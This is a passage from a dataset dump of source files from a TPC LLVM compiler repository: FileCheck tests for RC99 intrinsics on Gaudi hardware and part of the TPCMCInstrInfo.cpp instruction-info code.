"text": "// RUN: %codegen -triple tpc-none-none -std=rc99 -S -O1 -tpc-special %s -o - | FileCheck %s\n\nvoid main(int dest, int src1, int src2) {\n int val = 0;\n val = s_i32_add_s_s_b(src1, src2, val, e_no_saturation, 0, 1);\n *(int __local *)dest = val;\n}\n\n// CHECK: add.i32 {{.*}}, %SP0\n" }, { "alpha_fraction": 0.5199034810066223, "alphanum_fraction": 0.5790108442306519, "avg_line_length": 29.66666603088379, "blob_id": "298964109b5e1d072ede7551d63769581bb00f0b", "content_id": "657899bbab5fc149eec9f1a01e00157039603189", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 829, "license_type": "permissive", "max_line_length": 106, "num_lines": 27, "path": "/clang/test/RC99/Intrinsics/s_convert_f32_to_bf16.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\n\n\n\nvoid main(int dest, float x, _Bool pred) {\n volatile short __local *dest_ptr = (short __local *)dest;\n bf16 income = *dest_ptr;\n\n // CHECK: mov{{.*}} [[PRED:%SP[0-9]+]], %S2\n // CHECK: ld_l [[DEST:%S[0-9]+]], %S0\n\n // s_convert_i32_to_i16\n bf16 res = income;\n \n res = s_convert_f32_to_bf16(x, SW_RHNE, res, pred, 0);\n *dest_ptr++ = res;\n // CHECK: convert.f32 target_type=bf16 rhne [[DEST]], %S1, [[PRED]]\n \n res = s_convert_f32_to_bf16(x, SW_SR, res, pred, 0);\n *dest_ptr++ = res;\n // CHECK: convert.f32 target_type=bf16 sr [[DEST]], %S1, [[PRED]]\n \n res = s_convert_f32_to_bf16(x, SW_RHAZ, res, pred, 0);\n *dest_ptr++ = res;\n // CHECK: convert.f32 target_type=bf16 rhaz [[DEST]], %S1, [[PRED]]\n}\n\n" }, { "alpha_fraction": 0.41168996691703796, "alphanum_fraction": 0.44218552112579346, "avg_line_length": 22.147058486938477, "blob_id": "f18513f6cf1b70653e884b4d9860473b43dbfb7b", "content_id": "771ffa65c1f1b5e23d44c73ad298bbc47524992a", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 787, "license_type": "permissive", "max_line_length": 80, "num_lines": 34, "path": "/clang/test/RC99/regression/fpga_test-0.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -triple tpc-none-none -std=rc99 -O1 %s -o - | FileCheck %s\n\n/*****************************************************************************\n* Copyright (C) 2017 HabanaLabs, Ltd.\n* All Rights Reserved.\n*\n* Unauthorized copying of this file, via any medium is strictly prohibited.\n* Proprietary and confidential.\n*\n* Authors:\n* Tzachi Cohen <[email protected]>\n******************************************************************************\n*/\n__local__ int64 vlm_data[5];\nvoid main(tensor a)\n{\n int64 a = 0 ;\n vlm_data[0] = a;\n a += 1;\n vlm_data[1] = a;\n a += 1;\n vlm_data[2] = a;\n a += 1;\n vlm_data[3] = a;\n a += 1;\n vlm_data[4] = a;\n a += 1;\n}\n// CHECK: st_l_v\n// CHECK: st_l_v\n// CHECK: st_l_v\n// CHECK: st_l_v\n// CHECK: st_l_v\n// CHECK-NO: st_l_v\n" }, { "alpha_fraction": 0.4849092662334442, "alphanum_fraction": 0.5613155364990234, "avg_line_length": 40.21074295043945, "blob_id": "f2fd1e39941f3067318b9dc7acf00160eea6c416", "content_id": "1e99760677d487b9e3ad347c0fb89418e3f857a7", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 9973, "license_type": "permissive", "max_line_length": 124, "num_lines": 242, "path": "/clang/test/RC99/Intrinsics/mov_dg-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK,G2P %s\n\n\n\nvoid main(int dest, int src, int vpredp, _Bool pred) {\n float64 __local *dest_ptr = (float64 __local *)dest;\n float64 __local *src_ptr = (float64 __local *)src;\n bool256 __local *vpred_ptr = (bool256 __local *)vpredp;\n\n float64 x = *src_ptr++;\n bool256 vpred = *vpred_ptr++;\n float64 income = *dest_ptr;\n\n// CHECK-DAG: ld_l_v [[DEST:%V[0-9]+]], %S0\n// CHECK-DAG: ld_l_v [[SRC:%V[0-9]+]], %S1\n// CHECK-DAG: ld_l_v [[VPRED:%VP[0-9]+]], %S2\n// CHECK-DAG: mov{{.*}}\t[[PRED:%SP[0-9]+]], %S3\n\n {\n float64 res = income;\n res = v_f32_mov_dual_group_b(x, 1, 0, 3, SW_WR_LOWER_GROUP, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: mov_dg src=0 dst=3 wr_lg=0x1 wr_ug=0x0 [[DEST]], [[SRC]], 0x1, [[PRED]]\n\n res = v_f32_mov_dual_group_b(x, 7, 1, 2, SW_WR_LOWER_GROUP | SW_WR_UPPER_GROUP, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: mov_dg src=1 dst=2 wr_lg=0x1 wr_ug=0x1 [[DEST]], [[SRC]], 0x7, [[PRED]]\n\n res = v_f32_mov_dual_group_b(x, 15, 3, 1, SW_WR_UPPER_GROUP, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: mov_dg src=3 dst=1 wr_lg=0x0 wr_ug=0x1 [[DEST]], [[SRC]], 0xf, [[PRED]]\n\n res = v_f32_mov_dual_group_vb(x, 1, 0, 3, SW_WR_LOWER_GROUP, res, to_bool64(vpred), 0);\n *dest_ptr++ = res;\n// CHECK: mov_dg src=0 dst=3 wr_lg=0x1 wr_ug=0x0 [[DEST]], [[SRC]], 0x1, [[VPRED]]\n\n res = v_f32_mov_dual_group_vb(x, 7, 1, 2, SW_WR_LOWER_GROUP | SW_WR_UPPER_GROUP, res, to_bool64(vpred), 0);\n *dest_ptr++ = res;\n// CHECK: mov_dg src=1 dst=2 wr_lg=0x1 wr_ug=0x1 [[DEST]], [[SRC]], 0x7, [[VPRED]]\n\n res = v_f32_mov_dual_group_vb(x, 15, 3, 1, SW_WR_UPPER_GROUP, res, to_bool64(vpred), 0);\n *dest_ptr++ = res;\n// CHECK: mov_dg src=3 dst=1 wr_lg=0x0 wr_ug=0x1 [[DEST]], [[SRC]], 0xf, [[VPRED]]\n\n income = res;\n }\n\n\n {\n int64 res = as_int64(income);\n int64 xx = as_int64(x);\n int64 *d_ptr = (int64 __local *)dest_ptr;\n \n res = v_i32_mov_dual_group_b(xx, 3, 0, 3, SW_WR_LOWER_GROUP, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=0 dst=3 wr_lg=0x1 wr_ug=0x0 [[DEST]], [[SRC]], 0x3, [[PRED]]\n\n res = v_i32_mov_dual_group_b(xx, 7, 1, 2, SW_WR_LOWER_GROUP | SW_WR_UPPER_GROUP, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=1 dst=2 wr_lg=0x1 wr_ug=0x1 [[DEST]], [[SRC]], 0x7, [[PRED]]\n\n res = v_i32_mov_dual_group_b(xx, 15, 3, 1, SW_WR_UPPER_GROUP, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=3 dst=1 wr_lg=0x0 wr_ug=0x1 [[DEST]], [[SRC]], 0xf, [[PRED]]\n\n res = v_i32_mov_dual_group_vb(xx, 1, 0, 3, SW_WR_LOWER_GROUP, res, to_bool64(vpred), 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=0 dst=3 wr_lg=0x1 wr_ug=0x0 [[DEST]], [[SRC]], 0x1, [[VPRED]]\n\n res = v_i32_mov_dual_group_vb(xx, 7, 1, 2, SW_WR_LOWER_GROUP | SW_WR_UPPER_GROUP, res, to_bool64(vpred), 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=1 dst=2 wr_lg=0x1 wr_ug=0x1 [[DEST]], [[SRC]], 0x7, [[VPRED]]\n\n res = v_i32_mov_dual_group_vb(xx, 15, 3, 1, SW_WR_UPPER_GROUP, res, to_bool64(vpred), 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=3 dst=1 wr_lg=0x0 wr_ug=0x1 [[DEST]], [[SRC]], 0xf, [[VPRED]]\n\n income = as_float64(res);\n }\n\n {\n uint64 res = as_uint64(income);\n uint64 xx = as_uint64(x);\n uint64 *d_ptr = (uint64 __local *)dest_ptr;\n \n res = v_u32_mov_dual_group_b(xx, 4, 0, 3, SW_WR_LOWER_GROUP, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=0 dst=3 wr_lg=0x1 wr_ug=0x0 [[DEST]], [[SRC]], 0x4, [[PRED]]\n\n res = v_u32_mov_dual_group_b(xx, 7, 1, 2, SW_WR_LOWER_GROUP | SW_WR_UPPER_GROUP, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=1 dst=2 wr_lg=0x1 wr_ug=0x1 [[DEST]], [[SRC]], 0x7, [[PRED]]\n\n res = v_u32_mov_dual_group_b(xx, 15, 3, 1, SW_WR_UPPER_GROUP, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=3 dst=1 wr_lg=0x0 wr_ug=0x1 [[DEST]], [[SRC]], 0xf, [[PRED]]\n\n res = v_u32_mov_dual_group_vb(xx, 1, 0, 3, SW_WR_LOWER_GROUP, res, to_bool64(vpred), 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=0 dst=3 wr_lg=0x1 wr_ug=0x0 [[DEST]], [[SRC]], 0x1, [[VPRED]]\n\n res = v_u32_mov_dual_group_vb(xx, 7, 1, 2, SW_WR_LOWER_GROUP | SW_WR_UPPER_GROUP, res, to_bool64(vpred), 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=1 dst=2 wr_lg=0x1 wr_ug=0x1 [[DEST]], [[SRC]], 0x7, [[VPRED]]\n\n res = v_u32_mov_dual_group_vb(xx, 15, 3, 1, SW_WR_UPPER_GROUP, res, to_bool64(vpred), 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=3 dst=1 wr_lg=0x0 wr_ug=0x1 [[DEST]], [[SRC]], 0xf, [[VPRED]]\n\n income = as_float64(res);\n }\n\n {\n short128 res = as_short128(income);\n short128 xx = as_short128(x);\n short128 *d_ptr = (short128 __local *)dest_ptr;\n \n res = v_i16_mov_dual_group_b(xx, 5, 0, 3, SW_WR_LOWER_GROUP, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=0 dst=3 wr_lg=0x1 wr_ug=0x0 [[DEST]], [[SRC]], 0x5, [[PRED]]\n\n res = v_i16_mov_dual_group_b(xx, 7, 1, 2, SW_WR_LOWER_GROUP | SW_WR_UPPER_GROUP, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=1 dst=2 wr_lg=0x1 wr_ug=0x1 [[DEST]], [[SRC]], 0x7, [[PRED]]\n\n res = v_i16_mov_dual_group_b(xx, 15, 3, 1, SW_WR_UPPER_GROUP, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=3 dst=1 wr_lg=0x0 wr_ug=0x1 [[DEST]], [[SRC]], 0xf, [[PRED]]\n\n res = v_i16_mov_dual_group_vb(xx, 1, 0, 3, SW_WR_LOWER_GROUP, res, to_bool128(vpred), 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=0 dst=3 wr_lg=0x1 wr_ug=0x0 [[DEST]], [[SRC]], 0x1, [[VPRED]]\n\n res = v_i16_mov_dual_group_vb(xx, 7, 1, 2, SW_WR_LOWER_GROUP | SW_WR_UPPER_GROUP, res, to_bool128(vpred), 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=1 dst=2 wr_lg=0x1 wr_ug=0x1 [[DEST]], [[SRC]], 0x7, [[VPRED]]\n\n res = v_i16_mov_dual_group_vb(xx, 15, 3, 1, SW_WR_UPPER_GROUP, res, to_bool128(vpred), 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=3 dst=1 wr_lg=0x0 wr_ug=0x1 [[DEST]], [[SRC]], 0xf, [[VPRED]]\n\n income = as_float64(res);\n }\n\n {\n ushort128 res = as_ushort128(income);\n ushort128 xx = as_ushort128(x);\n ushort128 *d_ptr = (ushort128 __local *)dest_ptr;\n \n res = v_u16_mov_dual_group_b(xx, 6, 0, 3, SW_WR_LOWER_GROUP, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=0 dst=3 wr_lg=0x1 wr_ug=0x0 [[DEST]], [[SRC]], 0x6, [[PRED]]\n\n res = v_u16_mov_dual_group_b(xx, 7, 1, 2, SW_WR_LOWER_GROUP | SW_WR_UPPER_GROUP, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=1 dst=2 wr_lg=0x1 wr_ug=0x1 [[DEST]], [[SRC]], 0x7, [[PRED]]\n\n res = v_u16_mov_dual_group_b(xx, 15, 3, 1, SW_WR_UPPER_GROUP, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=3 dst=1 wr_lg=0x0 wr_ug=0x1 [[DEST]], [[SRC]], 0xf, [[PRED]]\n\n res = v_u16_mov_dual_group_vb(xx, 1, 0, 3, SW_WR_LOWER_GROUP, res, to_bool128(vpred), 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=0 dst=3 wr_lg=0x1 wr_ug=0x0 [[DEST]], [[SRC]], 0x1, [[VPRED]]\n\n res = v_u16_mov_dual_group_vb(xx, 7, 1, 2, SW_WR_LOWER_GROUP | SW_WR_UPPER_GROUP, res, to_bool128(vpred), 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=1 dst=2 wr_lg=0x1 wr_ug=0x1 [[DEST]], [[SRC]], 0x7, [[VPRED]]\n\n res = v_u16_mov_dual_group_vb(xx, 15, 3, 1, SW_WR_UPPER_GROUP, res, to_bool128(vpred), 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=3 dst=1 wr_lg=0x0 wr_ug=0x1 [[DEST]], [[SRC]], 0xf, [[VPRED]]\n\n income = as_float64(res);\n }\n\n {\n char256 res = as_char256(income);\n char256 xx = as_char256(x);\n char256 *d_ptr = (char256 __local *)dest_ptr;\n \n res = v_i8_mov_dual_group_b(xx, 8, 0, 3, SW_WR_LOWER_GROUP, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=0 dst=3 wr_lg=0x1 wr_ug=0x0 [[DEST]], [[SRC]], 0x8, [[PRED]]\n\n res = v_i8_mov_dual_group_b(xx, 7, 1, 2, SW_WR_LOWER_GROUP | SW_WR_UPPER_GROUP, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=1 dst=2 wr_lg=0x1 wr_ug=0x1 [[DEST]], [[SRC]], 0x7, [[PRED]]\n\n res = v_i8_mov_dual_group_b(xx, 15, 3, 1, SW_WR_UPPER_GROUP, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=3 dst=1 wr_lg=0x0 wr_ug=0x1 [[DEST]], [[SRC]], 0xf, [[PRED]]\n\n res = v_i8_mov_dual_group_vb(xx, 1, 0, 3, SW_WR_LOWER_GROUP, res, vpred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=0 dst=3 wr_lg=0x1 wr_ug=0x0 [[DEST]], [[SRC]], 0x1, [[VPRED]]\n\n res = v_i8_mov_dual_group_vb(xx, 7, 1, 2, SW_WR_LOWER_GROUP | SW_WR_UPPER_GROUP, res, vpred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=1 dst=2 wr_lg=0x1 wr_ug=0x1 [[DEST]], [[SRC]], 0x7, [[VPRED]]\n\n res = v_i8_mov_dual_group_vb(xx, 15, 3, 1, SW_WR_UPPER_GROUP, res, vpred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=3 dst=1 wr_lg=0x0 wr_ug=0x1 [[DEST]], [[SRC]], 0xf, [[VPRED]]\n\n income = as_float64(res);\n }\n\n {\n uchar256 res = as_uchar256(income);\n uchar256 xx = as_uchar256(x);\n uchar256 *d_ptr = (uchar256 __local *)dest_ptr;\n \n res = v_u8_mov_dual_group_b(xx, 9, 0, 3, SW_WR_LOWER_GROUP, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=0 dst=3 wr_lg=0x1 wr_ug=0x0 [[DEST]], [[SRC]], 0x9, [[PRED]]\n\n res = v_u8_mov_dual_group_b(xx, 7, 1, 2, SW_WR_LOWER_GROUP | SW_WR_UPPER_GROUP, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=1 dst=2 wr_lg=0x1 wr_ug=0x1 [[DEST]], [[SRC]], 0x7, [[PRED]]\n\n res = v_u8_mov_dual_group_b(xx, 15, 3, 1, SW_WR_UPPER_GROUP, res, pred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=3 dst=1 wr_lg=0x0 wr_ug=0x1 [[DEST]], [[SRC]], 0xf, [[PRED]]\n\n res = v_u8_mov_dual_group_vb(xx, 1, 0, 3, SW_WR_LOWER_GROUP, res, vpred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=0 dst=3 wr_lg=0x1 wr_ug=0x0 [[DEST]], [[SRC]], 0x1, [[VPRED]]\n\n res = v_u8_mov_dual_group_vb(xx, 7, 1, 2, SW_WR_LOWER_GROUP | SW_WR_UPPER_GROUP, res, vpred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=1 dst=2 wr_lg=0x1 wr_ug=0x1 [[DEST]], [[SRC]], 0x7, [[VPRED]]\n\n res = v_u8_mov_dual_group_vb(xx, 15, 3, 1, SW_WR_UPPER_GROUP, res, vpred, 0);\n *d_ptr++ = res;\n// CHECK: mov_dg src=3 dst=1 wr_lg=0x0 wr_ug=0x1 [[DEST]], [[SRC]], 0xf, [[VPRED]]\n\n income = as_float64(res);\n }\n\n}\n" }, { "alpha_fraction": 0.5441860556602478, "alphanum_fraction": 0.604651153087616, "avg_line_length": 29.714284896850586, "blob_id": "5adbfb93f6770f6c4f467d0c40784d0574eb4ee5", "content_id": "a046d26a4d0ba8b3b467f2b889ab5c81cb714184", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 430, "license_type": "permissive", "max_line_length": 103, "num_lines": 14, "path": "/clang/test/RC99/IntrinsicsM/convert/gen1/s_convert_i16_to_u16_s.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n\nvoid main(short x0, int dest0)\n{\n \n \n \n unsigned short __local *res0 = (unsigned short __local *)dest0;\n unsigned short temp_res0 = 0;\n temp_res0 = s_convert_i16_to_u16_s(x0);\n *res0 = temp_res0;\n}\n//CHECK-ASM: .globl main\n//CHECK-ASM-DAG: convert.i16 target_type=uint16 %S{{[0-9]+}}, %S{{[0-9]+}}, %SP0\n" }, { "alpha_fraction": 0.5344827771186829, "alphanum_fraction": 0.617241382598877, "avg_line_length": 32.42307662963867, "blob_id": "7ad134a7d19f6bb37c63d5d0bba4fb7b5fa9fc6c", "content_id": "1234d2d1c7a699b4e8077a442c62b392e73d090b", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 870, "license_type": "permissive", "max_line_length": 88, "num_lines": 26, "path": "/clang/test/RC99/driver/reg-mem-count.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %tpc_clang -reg-mem-count -mllvm -tpc-addr-opt=0 %s -S -o - 2>&1 | FileCheck %s\n\nvoid main(tensor tensor0, int src,int dst1,int dst2) {\n int5 offset = {0,0,0,0,0};\n\n int storeCoord[5] = { 0, 1, 2, 3, 4 };\n int a = storeCoord[src];\n __global__ void* addr = a_gen_addr_i(offset, tensor0);\n i32_st_g_a_s_b(addr, a,1,0);\n\n int64 val[5] = {src,src,src,src,src};\n int64 b = val[src];\n bool256 pred= bv_i32_cmp_eq_v_v(b,b);\n int64 res = 0;\n res = v_i32_add_v_v_vb(b,val[1],res,1,pred,0);\n i32_st_tnsr_i_v(offset,tensor0,res);\n}\n\n//CHECK: Total SLM used: 20 bytes\n//CHECK: Total VLM used: 1280 bytes\n//CHECK: 2 VRF registers used: %V0 %V1\n//CHECK: {{[0-9]+}} SRF registers used: %S0 %S1 %S2 %S3 %S4 %S5 %S6 %S7 %S8\n//CHECK: 1 VPRF register used: %VP1\n//CHECK: 1 SPRF register used: %SP0\n//CHECK: 1 IRF register used: %I2\n//CHECK: 1 ADRF register used: %AD0\n\n" }, { "alpha_fraction": 0.5284552574157715, "alphanum_fraction": 0.5934959053993225, "avg_line_length": 16.714284896850586, "blob_id": "d8a537d931823b4bbbf3d25b24e153ce6503bf92", "content_id": "650efee46d85ce2cb5dfe8b1e55e0b59b969d1f6", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 123, "license_type": "permissive", "max_line_length": 65, "num_lines": 7, "path": "/clang/test/RC99/regression/gaudi-2.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -triple tpc-none-none -std=rc99 -O1 %s -o -\n\nint Global_Var = 777;\n\nvoid main() {\n Global_Var = 1;\n}" }, { "alpha_fraction": 0.6365956664085388, "alphanum_fraction": 0.6444923281669617, "avg_line_length": 31.228792190551758, "blob_id": "74d6ac3333fbe32b102d7a3b56d2929c3e6e51c7", "content_id": "14ba025149a37dff1e0357a37e2fd39b624089be", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 12537, "license_type": "permissive", "max_line_length": 108, "num_lines": 389, "path": "/llvm/lib/Target/TPC/MCTargetDesc/TPCMCInstrInfo.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===--------TPCMCInstrInfo.cpp---------------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//\n//===----------------------------------------------------------------------===//\n#include \"TPCMCInstrInfo.h\"\n\n#include \"TPC.h\"\n//#include \"TPCBaseInfo.h\"\n//#include \"TPCMCChecker.h\"\n#include \"llvm/CodeGen/MachineInstr.h\"\n#include \"llvm/MC/MCContext.h\"\n#include \"llvm/MC/MCExpr.h\"\n#include \"llvm/MC/MCInstrInfo.h\"\n#include \"llvm/MC/MCSubtargetInfo.h\"\n#include \"llvm/Support/CommandLine.h\"\n\nnamespace llvm {\n\nstatic cl::opt<bool> DisableShortImm(\"tpc-disable-short-imm\", cl::Hidden,\n cl::ZeroOrMore, cl::init(false),\n cl::desc(\"Disable new encoding for short immediate\"));\n\nstatic cl::opt<bool> NegativeShortImm(\"tpc-negative-short-imm\", cl::Hidden,\n cl::ZeroOrMore, cl::init(false),\n cl::desc(\"Enable new encoding for negative short immediate\"));\n\nstatic cl::opt<bool> ExtraShortImm(\"tpc-extra-short-imm\", cl::Hidden,\n cl::ZeroOrMore, cl::init(false),\n cl::desc(\"Use 3 bit encoding for short immediate (i.e. allowed range is 0..7 regardless of signedness)\"));\n\nMCInstrDesc const &TPCMCInstrInfo::getDesc(MCInstrInfo const &MCII,\n MCInst const &MCI) {\n return (MCII.get(MCI.getOpcode()));\n}\n\nStringRef const TPCMCInstrInfo::getName(MCInstrInfo const &MCII,\n MCInst const &MCI) {\n return MCII.getName(MCI.getOpcode());\n}\n\nTPCII::IType TPCMCInstrInfo::getType(MCInstrInfo const &MCII,\n MCInst const &MCI) {\n return static_cast<TPCII::IType>(TPCII::getInstrType(getDesc(MCII, MCI)));\n}\n\nbool TPCMCInstrInfo::hasImm(MCInstrInfo const &MCII,\n MCInst const &MCI) {\n return TPCII::getHasImm(getDesc(MCII, MCI));\n}\n\nbool TPCMCInstrInfo::hasCompositeImm(MCInstrInfo const &MCII,\n MCInst const &MCI) {\n return TPCII::getHasCompositeImm(getDesc(MCII, MCI));\n}\n\nbool TPCMCInstrInfo::isPredicated(MCInstrInfo const &MCII,\n MCInst const &MCI) {\n return TPCII::getIsPredicated(getDesc(MCII, MCI));\n}\n\nbool TPCMCInstrInfo::hasOutOfSlotData(MCInstrInfo const &MCII,\n MCInst const &MCI) {\n return TPCII::getHasOutOfSlotData(getDesc(MCII, MCI));\n}\n\nbool TPCMCInstrInfo::hasImmField(MCInstrInfo const &MCII,\n MCInst const &MCI) {\n return TPCII::getHasImmField(getDesc(MCII, MCI));\n}\n\nunsigned TPCMCInstrInfo::getImmFieldStart(MCInstrInfo const &MCII,\n MCInst const &MCI) {\n return TPCII::getImmStart(getDesc(MCII, MCI));\n}\n\nunsigned TPCMCInstrInfo::getImmFieldEnd(MCInstrInfo const &MCII,\n MCInst const &MCI) {\n return TPCII::getImmEnd(getDesc(MCII, MCI));\n}\n\nunsigned TPCMCInstrInfo::getImmFieldOpNum(MCInstrInfo const &MCII,\n MCInst const &MCI) {\n return TPCII::getImmFieldOpNum(getDesc(MCII, MCI));\n}\n\nunsigned TPCMCInstrInfo::getImmOpCount(MCInstrInfo const &MCII,\n MCInst const &MCI) {\n return TPCII::getImmOpCount(getDesc(MCII, MCI));\n}\n\nunsigned TPCMCInstrInfo::getSecondImmOp(MCInstrInfo const &MCII,\n MCInst const &MCI) {\n return TPCII::getSecondImmOp(getDesc(MCII, MCI));\n}\n\nunsigned TPCMCInstrInfo::getThirdImmOp(MCInstrInfo const &MCII,\n MCInst const &MCI) {\n return TPCII::getThirdImmOp(getDesc(MCII, MCI));\n}\n\nunsigned TPCMCInstrInfo::getFirstImmBits(MCInstrInfo const &MCII,\n MCInst const &MCI) {\n return TPCII::getFirstImmBits(getDesc(MCII, MCI));\n}\n\nunsigned TPCMCInstrInfo::getSecondImmBits(MCInstrInfo const &MCII,\n MCInst const &MCI) {\n return TPCII::getSecondImmBits(getDesc(MCII, MCI));\n}\n\nunsigned TPCMCInstrInfo::getThirdImmBits(MCInstrInfo const &MCII,\n MCInst const &MCI) {\n return TPCII::getThirdImmBits(getDesc(MCII, MCI));\n}\n\nTPCII::OpType TPCMCInstrInfo::getOpType(const MCInstrDesc &Desc, const MCInst &Inst) {\n for (unsigned i = 0; i < Inst.getNumOperands(); ++i) {\n const MCOperandInfo &Info = Desc.OpInfo[i];\n if (Info.OperandType == TPC::OPERAND_DATATYPE) {\n auto Op = Inst.getOperand(i);\n return (TPCII::OpType)Op.getImm();\n }\n }\n return TPCII::OpType::INT32; // ? is it correct ?\n}\n\nTPCII::OpType TPCMCInstrInfo::getOpType(const MCInstrDesc &Desc, const MachineInstr &Inst) {\n for (unsigned i = 0; i < Inst.getNumOperands(); ++i) {\n const MCOperandInfo &Info = Desc.OpInfo[i];\n if (Info.OperandType == TPC::OPERAND_DATATYPE) {\n auto Op = Inst.getOperand(i);\n return (TPCII::OpType)Op.getImm();\n }\n }\n return TPCII::OpType::INT32; // ? is it correct ?\n}\n\nstatic bool checkDTSpecial(const MCInstrDesc &Desc, bool *matched) {\n //\n // varlax: Operations on Load/Store slots do not have\n // datatype encoding (except MOV) - what DT is assumed for them?\n // Hilla Ben Yaacov <[email protected]>: On load/slot we always assume unsigned,\n // unless it is MOV or SET_INDX and then we check the explicit DT to decide.\n // For load/store:\n // Signed only if opcode is MOV/SET_INDX and DT indicates signed data-type\n // (INT32/INT16/INT8/INT4). For all other opcodes - unsigned\n // For spu/vpu:\n // IRF destination (SPU only) opType is always INT32\n // MOV_IRF_DIM/JMPA/JMPR/LOOP (SPU only) opType is always INT32\n // CONVERT_INT*/CONVERT_UINT* (SPU/VPU) opType is determined by opcode name\n // (e.g. UINT8 for CONVERT_UINT8), but SrcB (shift value) will always\n // be treated as signed.\n // shift values always unsigned for SHL/SHR\n //\n *matched = true;\n unsigned opc = TPCII::getSlotOpCode(Desc);\n if (TPCII::isLoadInst(Desc) && (opc != TPCII::ldMOV) && (opc != TPCII::ldSET_INDX)) {\n return false; // unsigned\n }\n if (TPCII::isStoreInst(Desc) && (opc != TPCII::stSET_INDX)) {\n return false; // unsigned\n }\n if (TPCII::isSPUInst(Desc) && (opc == TPCII::spuCONVERT_UINT32 ||\n opc == TPCII::spuCONVERT_UINT16 || opc == TPCII::spuCONVERT_UINT8))\n return true; // signed\n if (TPCII::isVPUInst(Desc) && (opc == TPCII::vpuCONVERT_UINT32 ||\n opc == TPCII::vpuCONVERT_UINT16 || opc == TPCII::vpuCONVERT_UINT8))\n return true; // signed\n if (TPCII::isSPUInst(Desc) && (opc == TPCII::spuSHL || opc == TPCII::spuSHR))\n return false; // unsigned\n if (TPCII::isVPUInst(Desc) && (opc == TPCII::vpuSHL || opc == TPCII::vpuSHR))\n return false; // unsigned\n *matched = false;\n return false;\n}\n\nbool TPCMCInstrInfo::isInstTypeSigned(const MCInstrDesc &Desc, const MachineInstr& MI) {\n // First check if intruction is treated specially\n bool isSpecial;\n bool isSigned = checkDTSpecial(Desc, &isSpecial);\n if (isSpecial)\n return isSigned;\n // Now check the DT operang of the instruction\n TPCII::OpType optype = getOpType(Desc, MI);\n isSigned = (optype == TPCII::OpType::INT32 ||\n optype == TPCII::OpType::INT16 ||\n optype == TPCII::OpType::INT8 ||\n 